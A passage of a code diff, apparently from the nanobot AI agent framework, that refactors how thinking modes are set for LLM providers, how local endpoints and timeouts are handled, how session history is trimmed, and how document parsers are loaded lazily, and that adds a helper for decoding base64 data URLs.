# Maps ProviderSpec.thinking_style → extra_body builder.
|
||||
# Each builder takes a bool (thinking_enabled) and returns the dict to
|
||||
# merge into extra_body, keeping the style→wire-format mapping in one place.
|
||||
_THINKING_STYLE_MAP: dict[str, Any] = {
|
||||
"thinking_type": lambda on: {"thinking": {"type": "enabled" if on else "disabled"}},
|
||||
"enable_thinking": lambda on: {"enable_thinking": on},
|
||||
"reasoning_split": lambda on: {"reasoning_split": on},
|
||||
}
|
||||
|
||||
|
||||
def _is_kimi_thinking_model(model_name: str) -> bool:
|
||||
@@ -78,6 +91,26 @@ def _is_kimi_thinking_model(model_name: str) -> bool:
|
||||
return False
|
||||
|
||||
|
||||
def _openai_compat_timeout_s() -> float:
|
||||
"""Return the bounded request timeout used for OpenAI-compatible providers."""
|
||||
return _float_env("NANOBOT_OPENAI_COMPAT_TIMEOUT_S", _OPENAI_COMPAT_REQUEST_TIMEOUT_S)
|
||||
|
||||
|
||||
def _float_env(name: str, default: float) -> float:
|
||||
raw = os.environ.get(name)
|
||||
if raw is None or not raw.strip():
|
||||
return default
|
||||
try:
|
||||
value = float(raw)
|
||||
except (TypeError, ValueError):
|
||||
logger.warning("Ignoring invalid {}={!r}; using {}", name, raw, default)
|
||||
return default
|
||||
if value <= 0:
|
||||
logger.warning("Ignoring non-positive {}={!r}; using {}", name, raw, default)
|
||||
return default
|
||||
return value
|
||||
|
||||
|
||||
def _short_tool_id() -> str:
|
||||
"""9-char alphanumeric ID compatible with all providers (incl. Mistral)."""
|
||||
return "".join(secrets.choice(_ALNUM) for _ in range(9))
|
||||
@@ -150,6 +183,37 @@ _RESPONSES_FAILURE_THRESHOLD = 3
|
||||
_RESPONSES_PROBE_INTERVAL_S = 300 # 5 minutes
|
||||
|
||||
|
||||
def _is_local_endpoint(
|
||||
spec: "ProviderSpec | None",
|
||||
api_base: str | None,
|
||||
) -> bool:
|
||||
"""Return True when the endpoint is a local or LAN model server.
|
||||
|
||||
Matches either the provider spec's ``is_local`` flag or common private-
|
||||
network patterns in the base URL (localhost, 127.x, 192.168.x, 10.x,
|
||||
172.16-31.x, Docker ``host.docker.internal``).
|
||||
"""
|
||||
if spec and spec.is_local:
|
||||
return True
|
||||
if not api_base:
|
||||
return False
|
||||
raw = api_base.strip().lower()
|
||||
parsed = urlparse(raw if "://" in raw else f"//{raw}")
|
||||
try:
|
||||
host = parsed.hostname
|
||||
except ValueError:
|
||||
return False
|
||||
if host in {"localhost", "host.docker.internal"}:
|
||||
return True
|
||||
if not host:
|
||||
return False
|
||||
try:
|
||||
addr = ip_address(host)
|
||||
except ValueError:
|
||||
return False
|
||||
return addr.is_loopback or addr.is_private
|
||||
|
||||
|
||||
def _is_direct_openai_base(api_base: str | None) -> bool:
|
||||
"""Return True for direct OpenAI endpoints, not generic OpenAI-compatible gateways."""
|
||||
if not api_base:
|
||||
@@ -199,11 +263,30 @@ class OpenAICompatProvider(LLMProvider):
|
||||
if extra_headers:
|
||||
default_headers.update(extra_headers)
|
||||
|
||||
# Local model servers (Ollama, llama.cpp, vLLM) often close idle
|
||||
# HTTP connections before the client-side keepalive expires. When
|
||||
# two LLM calls happen seconds apart (e.g. heartbeat _decide then
|
||||
# process_direct), the second call may grab a now-dead pooled
|
||||
# connection, causing a transient APIConnectionError on every first
|
||||
# attempt. Disabling keepalive for local endpoints avoids this by
|
||||
# opening a fresh connection for each request, which is cheap on a
|
||||
# LAN. Cloud providers benefit from keepalive, so we leave the
|
||||
# default pool settings for them.
|
||||
timeout_s = _openai_compat_timeout_s()
|
||||
http_client: httpx.AsyncClient | None = None
|
||||
if _is_local_endpoint(spec, effective_base):
|
||||
http_client = httpx.AsyncClient(
|
||||
limits=httpx.Limits(keepalive_expiry=0),
|
||||
timeout=timeout_s,
|
||||
)
|
||||
|
||||
self._client = AsyncOpenAI(
|
||||
api_key=api_key or "no-key",
|
||||
base_url=effective_base,
|
||||
default_headers=default_headers,
|
||||
max_retries=0,
|
||||
timeout=timeout_s,
|
||||
http_client=http_client,
|
||||
)
|
||||
|
||||
# Responses API circuit breaker: skip after repeated failures,
|
||||
@@ -286,10 +369,25 @@ class OpenAICompatProvider(LLMProvider):
|
||||
return json.dumps(arguments, ensure_ascii=False)
|
||||
return "{}"
|
||||
|
||||
@staticmethod
|
||||
def _coerce_content_to_string(content: Any) -> str | None:
|
||||
"""Coerce block/list content into plain text for strict string-only APIs."""
|
||||
if content is None or isinstance(content, str):
|
||||
return content
|
||||
text = OpenAICompatProvider._extract_text_content(content)
|
||||
if isinstance(text, str) and text:
|
||||
return text
|
||||
try:
|
||||
dumped = json.dumps(content, ensure_ascii=False)
|
||||
except Exception:
|
||||
dumped = str(content)
|
||||
return dumped or "(empty)"
|
||||
|
||||
def _sanitize_messages(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
|
||||
"""Strip non-standard keys, normalize tool_call IDs."""
|
||||
sanitized = LLMProvider._sanitize_request_messages(messages, _ALLOWED_MSG_KEYS)
|
||||
id_map: dict[str, str] = {}
|
||||
force_string_content = bool(self._spec and self._spec.name == "deepseek")
|
||||
|
||||
def map_id(value: Any) -> Any:
|
||||
if not isinstance(value, str):
|
||||
@@ -323,8 +421,54 @@ class OpenAICompatProvider(LLMProvider):
|
||||
clean["content"] = None
|
||||
if "tool_call_id" in clean and clean["tool_call_id"]:
|
||||
clean["tool_call_id"] = map_id(clean["tool_call_id"])
|
||||
if (
|
||||
force_string_content
|
||||
and not (clean.get("role") == "assistant" and clean.get("tool_calls"))
|
||||
):
|
||||
clean["content"] = self._coerce_content_to_string(clean.get("content"))
|
||||
return self._enforce_role_alternation(sanitized)
|
||||
|
||||
def _drop_deepseek_incomplete_reasoning_history(
|
||||
self,
|
||||
messages: list[dict[str, Any]],
|
||||
reasoning_effort: str | None,
|
||||
) -> list[dict[str, Any]]:
|
||||
if (
|
||||
not self._spec
|
||||
or self._spec.name != "deepseek"
|
||||
or not reasoning_effort
|
||||
or reasoning_effort.lower() == "none"
|
||||
):
|
||||
return messages
|
||||
|
||||
bad_idx = None
|
||||
for idx, msg in enumerate(messages):
|
||||
if (
|
||||
msg.get("role") == "assistant"
|
||||
and msg.get("tool_calls")
|
||||
and not msg.get("reasoning_content")
|
||||
):
|
||||
bad_idx = idx
|
||||
if bad_idx is None:
|
||||
return messages
|
||||
|
||||
keep_from = None
|
||||
for idx in range(bad_idx + 1, len(messages)):
|
||||
if messages[idx].get("role") == "user":
|
||||
keep_from = idx
|
||||
break
|
||||
|
||||
if keep_from is None:
|
||||
trimmed = messages[:bad_idx]
|
||||
else:
|
||||
prefix = [msg for msg in messages[:keep_from] if msg.get("role") == "system"]
|
||||
trimmed = prefix + messages[keep_from:]
|
||||
logger.warning(
|
||||
"Dropped {} DeepSeek thinking history message(s) with incomplete reasoning_content",
|
||||
len(messages) - len(trimmed),
|
||||
)
|
||||
return trimmed
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Build kwargs
|
||||
# ------------------------------------------------------------------
|
||||
@@ -365,6 +509,10 @@ class OpenAICompatProvider(LLMProvider):
|
||||
if spec and spec.strip_model_prefix:
|
||||
model_name = model_name.split("/")[-1]
|
||||
|
||||
messages = self._drop_deepseek_incomplete_reasoning_history(
|
||||
messages,
|
||||
reasoning_effort,
|
||||
)
|
||||
kwargs: dict[str, Any] = {
|
||||
"model": model_name,
|
||||
"messages": self._sanitize_messages(self._sanitize_empty_content(messages)),
|
||||
@@ -407,20 +555,11 @@ class OpenAICompatProvider(LLMProvider):
|
||||
# Provider-specific thinking parameters.
|
||||
# Only sent when reasoning_effort is explicitly configured so that
|
||||
# the provider default is preserved otherwise.
|
||||
if spec and reasoning_effort is not None:
|
||||
# The mapping is driven by ProviderSpec.thinking_style so that adding
|
||||
# a new provider never requires touching this function.
|
||||
if spec and spec.thinking_style and reasoning_effort is not None:
|
||||
thinking_enabled = semantic_effort != "minimal"
|
||||
extra: dict[str, Any] | None = None
|
||||
if spec.name == "dashscope":
|
||||
extra = {"enable_thinking": thinking_enabled}
|
||||
elif spec.name == "minimax":
|
||||
extra = {"reasoning_split": thinking_enabled}
|
||||
elif spec.name in (
|
||||
"volcengine", "volcengine_coding_plan",
|
||||
"byteplus", "byteplus_coding_plan",
|
||||
):
|
||||
extra = {
|
||||
"thinking": {"type": "enabled" if thinking_enabled else "disabled"}
|
||||
}
|
||||
extra = _THINKING_STYLE_MAP.get(spec.thinking_style, lambda _: None)(thinking_enabled)
|
||||
if extra:
|
||||
kwargs.setdefault("extra_body", {}).update(extra)
|
||||
|
||||
@@ -438,6 +577,26 @@ class OpenAICompatProvider(LLMProvider):
|
||||
kwargs["tools"] = tools
|
||||
kwargs["tool_choice"] = tool_choice or "auto"
|
||||
|
||||
# Backfill reasoning_content on legacy assistant messages.
|
||||
# DeepSeek V4 (and potentially others) rejects thinking-mode
|
||||
# requests that contain assistant messages without reasoning_content
|
||||
# — even on turns that had no tool calls. This happens when a
|
||||
# session was started with a non-thinking model or without
|
||||
# reasoning_effort, then the user switches thinking mode on
|
||||
# mid-session. Injecting an empty string satisfies the API
|
||||
# without altering semantics (the model treats it as "no
|
||||
# thinking happened on that turn").
|
||||
thinking_active = (
|
||||
(spec and spec.thinking_style and reasoning_effort is not None
|
||||
and semantic_effort != "minimal")
|
||||
or (reasoning_effort is not None and _is_kimi_thinking_model(model_name)
|
||||
and semantic_effort != "minimal")
|
||||
)
|
||||
if thinking_active:
|
||||
for msg in kwargs["messages"]:
|
||||
if msg.get("role") == "assistant" and "reasoning_content" not in msg:
|
||||
msg["reasoning_content"] = ""
|
||||
|
||||
return kwargs
|
||||
|
||||
def _should_use_responses_api(
|
||||
@@ -689,8 +848,8 @@ class OpenAICompatProvider(LLMProvider):
|
||||
finish_reason = str(choice0.get("finish_reason") or "stop")
|
||||
|
||||
raw_tool_calls: list[Any] = []
|
||||
# StepFun Plan: fallback to reasoning field when content is empty
|
||||
if not content and msg0.get("reasoning"):
|
||||
# StepFun: fallback to reasoning field when content is empty
|
||||
if not content and msg0.get("reasoning") and self._spec and self._spec.reasoning_as_content:
|
||||
content = self._extract_text_content(msg0.get("reasoning"))
|
||||
reasoning_content = msg0.get("reasoning_content")
|
||||
if not reasoning_content and msg0.get("reasoning"):
|
||||
@@ -750,7 +909,7 @@ class OpenAICompatProvider(LLMProvider):
|
||||
finish_reason = ch.finish_reason
|
||||
if not content and m.content:
|
||||
content = m.content
|
||||
if not content and getattr(m, "reasoning", None):
|
||||
if not content and getattr(m, "reasoning", None) and self._spec and self._spec.reasoning_as_content:
|
||||
content = m.reasoning
|
||||
|
||||
tool_calls = []
|
||||
|
||||
@@ -63,6 +63,19 @@ class ProviderSpec:
|
||||
# Provider supports cache_control on content blocks (e.g. Anthropic prompt caching)
|
||||
supports_prompt_caching: bool = False
|
||||
|
||||
# How to inject the thinking on/off toggle into extra_body.
|
||||
# "" — no extra_body needed (default)
|
||||
# "thinking_type" — {"thinking": {"type": "enabled"/"disabled"}}
|
||||
# (DeepSeek, VolcEngine, BytePlus)
|
||||
# "enable_thinking" — {"enable_thinking": true/false} (DashScope)
|
||||
# "reasoning_split" — {"reasoning_split": true/false} (MiniMax)
|
||||
thinking_style: str = ""
|
||||
|
||||
# When True, treat the "reasoning" response field as formal content
|
||||
# when "content" is empty. Only set this for providers (e.g. StepFun)
|
||||
# whose API returns the actual answer in "reasoning" instead of "content".
|
||||
reasoning_as_content: bool = False
|
||||
|
||||
@property
|
||||
def label(self) -> str:
|
||||
return self.display_name or self.name.title()
|
||||
@@ -107,6 +120,18 @@ PROVIDERS: tuple[ProviderSpec, ...] = (
|
||||
default_api_base="https://openrouter.ai/api/v1",
|
||||
supports_prompt_caching=True,
|
||||
),
|
||||
# Hugging Face Inference Providers: OpenAI-compatible router for chat models.
|
||||
ProviderSpec(
|
||||
name="huggingface",
|
||||
keywords=("huggingface", "hugging-face"),
|
||||
env_key="HF_TOKEN",
|
||||
display_name="Hugging Face",
|
||||
backend="openai_compat",
|
||||
is_gateway=True,
|
||||
detect_by_key_prefix="hf_",
|
||||
detect_by_base_keyword="huggingface",
|
||||
default_api_base="https://router.huggingface.co/v1",
|
||||
),
|
||||
# AiHubMix: global gateway, OpenAI-compatible interface.
|
||||
# strip_model_prefix=True: doesn't understand "anthropic/claude-3",
|
||||
# strips to bare "claude-3".
|
||||
@@ -143,6 +168,7 @@ PROVIDERS: tuple[ProviderSpec, ...] = (
|
||||
is_gateway=True,
|
||||
detect_by_base_keyword="volces",
|
||||
default_api_base="https://ark.cn-beijing.volces.com/api/v3",
|
||||
thinking_style="thinking_type",
|
||||
),
|
||||
|
||||
# VolcEngine Coding Plan (火山引擎 Coding Plan): same key as volcengine
|
||||
@@ -155,6 +181,7 @@ PROVIDERS: tuple[ProviderSpec, ...] = (
|
||||
is_gateway=True,
|
||||
default_api_base="https://ark.cn-beijing.volces.com/api/coding/v3",
|
||||
strip_model_prefix=True,
|
||||
thinking_style="thinking_type",
|
||||
),
|
||||
|
||||
# BytePlus: VolcEngine international, pay-per-use models
|
||||
@@ -168,6 +195,7 @@ PROVIDERS: tuple[ProviderSpec, ...] = (
|
||||
detect_by_base_keyword="bytepluses",
|
||||
default_api_base="https://ark.ap-southeast.bytepluses.com/api/v3",
|
||||
strip_model_prefix=True,
|
||||
thinking_style="thinking_type",
|
||||
),
|
||||
|
||||
# BytePlus Coding Plan: same key as byteplus
|
||||
@@ -180,6 +208,7 @@ PROVIDERS: tuple[ProviderSpec, ...] = (
|
||||
is_gateway=True,
|
||||
default_api_base="https://ark.ap-southeast.bytepluses.com/api/coding/v3",
|
||||
strip_model_prefix=True,
|
||||
thinking_style="thinking_type",
|
||||
),
|
||||
|
||||
|
||||
@@ -233,6 +262,7 @@ PROVIDERS: tuple[ProviderSpec, ...] = (
|
||||
display_name="DeepSeek",
|
||||
backend="openai_compat",
|
||||
default_api_base="https://api.deepseek.com",
|
||||
thinking_style="thinking_type",
|
||||
),
|
||||
# Gemini: Google's OpenAI-compatible endpoint
|
||||
ProviderSpec(
|
||||
@@ -261,6 +291,7 @@ PROVIDERS: tuple[ProviderSpec, ...] = (
|
||||
display_name="DashScope",
|
||||
backend="openai_compat",
|
||||
default_api_base="https://dashscope.aliyuncs.com/compatible-mode/v1",
|
||||
thinking_style="enable_thinking",
|
||||
),
|
||||
# Moonshot (月之暗面): Kimi K2.5 / K2.6 enforce temperature >= 1.0.
|
||||
ProviderSpec(
|
||||
@@ -283,6 +314,7 @@ PROVIDERS: tuple[ProviderSpec, ...] = (
|
||||
display_name="MiniMax",
|
||||
backend="openai_compat",
|
||||
default_api_base="https://api.minimax.io/v1",
|
||||
thinking_style="reasoning_split",
|
||||
),
|
||||
# MiniMax Anthropic-compatible endpoint: supports thinking mode
|
||||
ProviderSpec(
|
||||
@@ -310,6 +342,7 @@ PROVIDERS: tuple[ProviderSpec, ...] = (
|
||||
display_name="Step Fun",
|
||||
backend="openai_compat",
|
||||
default_api_base="https://api.stepfun.com/v1",
|
||||
reasoning_as_content=True,
|
||||
),
|
||||
# Xiaomi MIMO (小米): OpenAI-compatible API
|
||||
ProviderSpec(
|
||||
|
||||
+154
-13
@@ -11,7 +11,15 @@ from typing import Any
|
||||
from loguru import logger
|
||||
|
||||
from nanobot.config.paths import get_legacy_sessions_dir
|
||||
from nanobot.utils.helpers import ensure_dir, find_legal_message_start, safe_filename
|
||||
from nanobot.utils.helpers import (
|
||||
ensure_dir,
|
||||
estimate_message_tokens,
|
||||
find_legal_message_start,
|
||||
image_placeholder_text,
|
||||
safe_filename,
|
||||
)
|
||||
|
||||
FILE_MAX_MESSAGES = 2000
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -25,6 +33,32 @@ class Session:
|
||||
metadata: dict[str, Any] = field(default_factory=dict)
|
||||
last_consolidated: int = 0 # Number of messages already consolidated to files
|
||||
|
||||
@staticmethod
|
||||
def _annotate_message_time(message: dict[str, Any], content: Any) -> Any:
|
||||
"""Expose persisted turn timestamps to the model for relative-date reasoning.
|
||||
|
||||
Annotating *every* assistant turn trains the model (via in-context
|
||||
demonstrations) to start its own replies with the same
|
||||
``[Message Time: ...]`` prefix, which leaks metadata back to the user.
|
||||
We therefore only annotate:
|
||||
|
||||
* ``user`` turns — needed so the model can pin the conversation in time.
|
||||
* proactive deliveries (``_channel_delivery=True``) — cron / heartbeat
|
||||
assistant pushes that may sit hours away from the next user reply,
|
||||
and are too infrequent to act as parroting demonstrations.
|
||||
"""
|
||||
timestamp = message.get("timestamp")
|
||||
if not timestamp or not isinstance(content, str):
|
||||
return content
|
||||
role = message.get("role")
|
||||
if role == "user":
|
||||
pass
|
||||
elif role == "assistant" and message.get("_channel_delivery"):
|
||||
pass
|
||||
else:
|
||||
return content
|
||||
return f"[Message Time: {timestamp}]\n{content}"
|
||||
|
||||
def add_message(self, role: str, content: str, **kwargs: Any) -> None:
|
||||
"""Add a message to the session."""
|
||||
msg = {
|
||||
@@ -36,15 +70,30 @@ class Session:
|
||||
self.messages.append(msg)
|
||||
self.updated_at = datetime.now()
|
||||
|
||||
def get_history(self, max_messages: int = 500) -> list[dict[str, Any]]:
|
||||
"""Return unconsolidated messages for LLM input, aligned to a legal tool-call boundary."""
|
||||
def get_history(
|
||||
self,
|
||||
max_messages: int = 120,
|
||||
*,
|
||||
max_tokens: int = 0,
|
||||
include_timestamps: bool = False,
|
||||
) -> list[dict[str, Any]]:
|
||||
"""Return unconsolidated messages for LLM input.
|
||||
|
||||
History is sliced by message count first (``max_messages``), then by
|
||||
token budget from the tail (``max_tokens``) when provided.
|
||||
"""
|
||||
unconsolidated = self.messages[self.last_consolidated:]
|
||||
max_messages = max_messages if max_messages > 0 else 120
|
||||
sliced = unconsolidated[-max_messages:]
|
||||
|
||||
# Avoid starting mid-turn when possible.
|
||||
# Avoid starting mid-turn when possible, except for proactive
|
||||
# assistant deliveries that the user may be replying to.
|
||||
for i, message in enumerate(sliced):
|
||||
if message.get("role") == "user":
|
||||
sliced = sliced[i:]
|
||||
start = i
|
||||
if i > 0 and sliced[i - 1].get("_channel_delivery"):
|
||||
start = i - 1
|
||||
sliced = sliced[start:]
|
||||
break
|
||||
|
||||
# Drop orphan tool results at the front.
|
||||
@@ -54,11 +103,57 @@ class Session:
|
||||
|
||||
out: list[dict[str, Any]] = []
|
||||
for message in sliced:
|
||||
entry: dict[str, Any] = {"role": message["role"], "content": message.get("content", "")}
|
||||
content = message.get("content", "")
|
||||
# Synthesize an ``[image: path]`` breadcrumb from the persisted
|
||||
# ``media`` kwarg so LLM replay still sees *something* where the
|
||||
# image used to be. Without this, an image-only user turn
|
||||
# replays as an empty user message — the assistant's reply then
|
||||
# looks like it's responding to nothing.
|
||||
media = message.get("media")
|
||||
if isinstance(media, list) and media and isinstance(content, str):
|
||||
breadcrumbs = "\n".join(
|
||||
image_placeholder_text(p) for p in media if isinstance(p, str) and p
|
||||
)
|
||||
content = f"{content}\n{breadcrumbs}" if content else breadcrumbs
|
||||
if include_timestamps:
|
||||
content = self._annotate_message_time(message, content)
|
||||
entry: dict[str, Any] = {"role": message["role"], "content": content}
|
||||
for key in ("tool_calls", "tool_call_id", "name", "reasoning_content"):
|
||||
if key in message:
|
||||
entry[key] = message[key]
|
||||
out.append(entry)
|
||||
|
||||
if max_tokens > 0 and out:
|
||||
kept: list[dict[str, Any]] = []
|
||||
used = 0
|
||||
for message in reversed(out):
|
||||
tokens = estimate_message_tokens(message)
|
||||
if kept and used + tokens > max_tokens:
|
||||
break
|
||||
kept.append(message)
|
||||
used += tokens
|
||||
kept.reverse()
|
||||
|
||||
# Keep history aligned to the first visible user turn.
|
||||
first_user = next((i for i, m in enumerate(kept) if m.get("role") == "user"), None)
|
||||
if first_user is not None:
|
||||
kept = kept[first_user:]
|
||||
else:
|
||||
# Tight token budgets can otherwise leave assistant-only tails.
|
||||
# If a user turn exists in the unsliced output, recover the
|
||||
# nearest one even if it slightly exceeds the token budget.
|
||||
recovered_user = next(
|
||||
(i for i in range(len(out) - 1, -1, -1) if out[i].get("role") == "user"),
|
||||
None,
|
||||
)
|
||||
if recovered_user is not None:
|
||||
kept = out[recovered_user:]
|
||||
|
||||
# And keep a legal tool-call boundary at the front.
|
||||
start = find_legal_message_start(kept)
|
||||
if start:
|
||||
kept = kept[start:]
|
||||
out = kept
|
||||
return out
|
||||
|
||||
def clear(self) -> None:
|
||||
@@ -68,31 +163,77 @@ class Session:
|
||||
self.updated_at = datetime.now()
|
||||
|
||||
def retain_recent_legal_suffix(self, max_messages: int) -> None:
|
||||
"""Keep a legal recent suffix, mirroring get_history boundary rules."""
|
||||
"""Keep a legal recent suffix constrained by a hard message cap."""
|
||||
if max_messages <= 0:
|
||||
self.clear()
|
||||
return
|
||||
if len(self.messages) <= max_messages:
|
||||
return
|
||||
|
||||
start_idx = max(0, len(self.messages) - max_messages)
|
||||
retained = list(self.messages[-max_messages:])
|
||||
|
||||
# If the cutoff lands mid-turn, extend backward to the nearest user turn.
|
||||
while start_idx > 0 and self.messages[start_idx].get("role") != "user":
|
||||
start_idx -= 1
|
||||
|
||||
retained = self.messages[start_idx:]
|
||||
# Prefer starting at a user turn when one exists within the tail.
|
||||
first_user = next((i for i, m in enumerate(retained) if m.get("role") == "user"), None)
|
||||
if first_user is not None:
|
||||
retained = retained[first_user:]
|
||||
else:
|
||||
# If the tail is assistant/tool-only, anchor to the latest user in
|
||||
# the full session and take a capped forward window from there.
|
||||
latest_user = next(
|
||||
(i for i in range(len(self.messages) - 1, -1, -1)
|
||||
if self.messages[i].get("role") == "user"),
|
||||
None,
|
||||
)
|
||||
if latest_user is not None:
|
||||
retained = list(self.messages[latest_user: latest_user + max_messages])
|
||||
|
||||
# Mirror get_history(): avoid persisting orphan tool results at the front.
|
||||
start = find_legal_message_start(retained)
|
||||
if start:
|
||||
retained = retained[start:]
|
||||
|
||||
# Hard-cap guarantee: never keep more than max_messages.
|
||||
if len(retained) > max_messages:
|
||||
retained = retained[-max_messages:]
|
||||
start = find_legal_message_start(retained)
|
||||
if start:
|
||||
retained = retained[start:]
|
||||
|
||||
dropped = len(self.messages) - len(retained)
|
||||
self.messages = retained
|
||||
self.last_consolidated = max(0, self.last_consolidated - dropped)
|
||||
self.updated_at = datetime.now()
|
||||
|
||||
def enforce_file_cap(
|
||||
self,
|
||||
on_archive: Any = None,
|
||||
limit: int = FILE_MAX_MESSAGES,
|
||||
) -> None:
|
||||
"""Bound session message growth by archiving and trimming old prefixes."""
|
||||
if limit <= 0 or len(self.messages) <= limit:
|
||||
return
|
||||
|
||||
before = list(self.messages)
|
||||
before_last_consolidated = self.last_consolidated
|
||||
before_count = len(before)
|
||||
self.retain_recent_legal_suffix(limit)
|
||||
dropped_count = before_count - len(self.messages)
|
||||
if dropped_count <= 0:
|
||||
return
|
||||
|
||||
dropped = before[:dropped_count]
|
||||
already_consolidated = min(before_last_consolidated, dropped_count)
|
||||
archive_chunk = dropped[already_consolidated:]
|
||||
if archive_chunk and on_archive:
|
||||
on_archive(archive_chunk)
|
||||
logger.info(
|
||||
"Session file cap hit for {}: dropped {}, raw-archived {}, kept {}",
|
||||
self.key,
|
||||
dropped_count,
|
||||
len(archive_chunk),
|
||||
len(self.messages),
|
||||
)
|
||||
|
||||
|
||||
class SessionManager:
|
||||
"""
|
||||
|
||||
@@ -6,6 +6,8 @@ Notify when the response contains actionable information, errors, completed deli
|
||||
A user-scheduled reminder should usually notify even when the response is brief or mostly repeats the original reminder.
|
||||
|
||||
Suppress when the response is a routine status check with nothing new, a confirmation that everything is normal, or essentially empty.
|
||||
|
||||
Also suppress when the response contains meta-reasoning about the task itself — descriptions of internal instructions, references to configuration files (e.g. HEARTBEAT.md, AWARENESS.md), or decision logic about whether to notify the user. The user should never see the agent reasoning about whether to speak.
|
||||
{% elif part == 'user' %}
|
||||
## Original task
|
||||
{{ task_context }}
|
||||
|
||||
@@ -29,4 +29,4 @@ Output is rendered in a terminal. Avoid markdown headings and tables. Use plain
|
||||
{% include 'agent/_snippets/untrusted_content.md' %}
|
||||
|
||||
Reply directly with text for conversations. Only use the 'message' tool to send to a specific chat channel.
|
||||
IMPORTANT: To send files (images, documents, audio, video) to the user, you MUST call the 'message' tool with the 'media' parameter. Do NOT use read_file to "send" a file — reading a file only shows its content to you, it does NOT deliver the file to the user. Example: message(content="Here is the file", media=["/path/to/file.png"])
|
||||
IMPORTANT: To send files (images, video, audio, documents) to the user, you MUST call the 'message' tool with the 'media' parameter. Do NOT use read_file to "send" a file — reading a file only shows its content to you, it does NOT deliver the file to the user. Examples: message(content="Here is the image", media=["/path/to/file.png"]) or message(content="Here is the video", media=["/path/to/video.mp4"])
|
||||
|
||||
+19
-29
@@ -7,26 +7,6 @@ from loguru import logger
|
||||
|
||||
from nanobot.utils.helpers import detect_image_mime
|
||||
|
||||
try:
|
||||
from pypdf import PdfReader
|
||||
except ImportError:
|
||||
PdfReader = None # type: ignore
|
||||
|
||||
try:
|
||||
from docx import Document as DocxDocument
|
||||
except ImportError:
|
||||
DocxDocument = None # type: ignore
|
||||
|
||||
try:
|
||||
from openpyxl import load_workbook
|
||||
except ImportError:
|
||||
load_workbook = None # type: ignore
|
||||
|
||||
try:
|
||||
from pptx import Presentation as PptxPresentation
|
||||
except ImportError:
|
||||
PptxPresentation = None # type: ignore
|
||||
|
||||
|
||||
# Supported file extensions for text extraction
|
||||
SUPPORTED_EXTENSIONS: set[str] = {
|
||||
@@ -78,22 +58,16 @@ def extract_text(path: Path) -> str | None:
|
||||
|
||||
ext = path.suffix.lower()
|
||||
|
||||
# Document formats
|
||||
# Document formats -- each branch lazily imports its parser so that
|
||||
# startup does not pay the ~25 MB cost of loading openpyxl /
|
||||
# python-docx / python-pptx / pypdf up front (see issue #3422).
|
||||
if ext == ".pdf":
|
||||
if PdfReader is None:
|
||||
return "[error: pypdf not installed]"
|
||||
return _extract_pdf(path)
|
||||
elif ext == ".docx":
|
||||
if DocxDocument is None:
|
||||
return "[error: python-docx not installed]"
|
||||
return _extract_docx(path)
|
||||
elif ext == ".xlsx":
|
||||
if load_workbook is None:
|
||||
return "[error: openpyxl not installed]"
|
||||
return _extract_xlsx(path)
|
||||
elif ext == ".pptx":
|
||||
if PptxPresentation is None:
|
||||
return "[error: python-pptx not installed]"
|
||||
return _extract_pptx(path)
|
||||
elif _is_text_extension(ext):
|
||||
return _extract_text_file(path)
|
||||
@@ -107,6 +81,10 @@ def extract_text(path: Path) -> str | None:
|
||||
|
||||
def _extract_pdf(path: Path) -> str:
|
||||
"""Extract text from PDF using pypdf."""
|
||||
try:
|
||||
from pypdf import PdfReader
|
||||
except ImportError:
|
||||
return "[error: pypdf not installed]"
|
||||
try:
|
||||
reader = PdfReader(path)
|
||||
pages: list[str] = []
|
||||
@@ -121,6 +99,10 @@ def _extract_pdf(path: Path) -> str:
|
||||
|
||||
def _extract_docx(path: Path) -> str:
|
||||
"""Extract text from DOCX using python-docx."""
|
||||
try:
|
||||
from docx import Document as DocxDocument
|
||||
except ImportError:
|
||||
return "[error: python-docx not installed]"
|
||||
try:
|
||||
doc = DocxDocument(path)
|
||||
paragraphs: list[str] = [p.text for p in doc.paragraphs if p.text.strip()]
|
||||
@@ -132,6 +114,10 @@ def _extract_docx(path: Path) -> str:
|
||||
|
||||
def _extract_xlsx(path: Path) -> str:
|
||||
"""Extract text from XLSX using openpyxl."""
|
||||
try:
|
||||
from openpyxl import load_workbook
|
||||
except ImportError:
|
||||
return "[error: openpyxl not installed]"
|
||||
try:
|
||||
wb = load_workbook(path, read_only=True, data_only=True)
|
||||
try:
|
||||
@@ -155,6 +141,10 @@ def _extract_xlsx(path: Path) -> str:
|
||||
|
||||
def _extract_pptx(path: Path) -> str:
|
||||
"""Extract text from PPTX using python-pptx."""
|
||||
try:
|
||||
from pptx import Presentation as PptxPresentation
|
||||
except ImportError:
|
||||
return "[error: python-pptx not installed]"
|
||||
try:
|
||||
prs = PptxPresentation(path)
|
||||
slides: list[str] = []
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
"""Shared helpers for decoding ``data:...;base64,...`` URLs to disk.
|
||||
|
||||
Historically lived in ``nanobot.api.server``; now shared by the WebSocket
|
||||
channel so the ``api`` + ``websocket`` ingress paths apply the same parsing,
|
||||
size guard, and filesystem layout.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import mimetypes
|
||||
import re
|
||||
import uuid
|
||||
from pathlib import Path
|
||||
|
||||
from nanobot.utils.helpers import safe_filename
|
||||
|
||||
DEFAULT_MAX_BYTES = 10 * 1024 * 1024
|
||||
MAX_FILE_SIZE = DEFAULT_MAX_BYTES
|
||||
|
||||
_DATA_URL_RE = re.compile(r"^data:([^;]+);base64,(.+)$", re.DOTALL)
|
||||
|
||||
|
||||
class FileSizeExceeded(Exception):
|
||||
"""Raised when a decoded payload exceeds the caller's size limit."""
|
||||
|
||||
|
||||
def save_base64_data_url(
|
||||
data_url: str,
|
||||
media_dir: Path,
|
||||
*,
|
||||
max_bytes: int | None = None,
|
||||
) -> str | None:
|
||||
"""Decode a ``data:<mime>;base64,<payload>`` URL and persist it.
|
||||
|
||||
Returns the absolute path on success, ``None`` when the URL shape or the
|
||||
base64 payload itself is malformed. Raises :class:`FileSizeExceeded`
|
||||
when the decoded payload is larger than ``max_bytes`` (default 10 MB).
|
||||
"""
|
||||
m = _DATA_URL_RE.match(data_url)
|
||||
if not m:
|
||||
return None
|
||||
mime_type, b64_payload = m.group(1), m.group(2)
|
||||
try:
|
||||
raw = base64.b64decode(b64_payload)
|
||||
except Exception:
|
||||
return None
|
||||
limit = DEFAULT_MAX_BYTES if max_bytes is None else max_bytes
|
||||
if len(raw) > limit:
|
||||
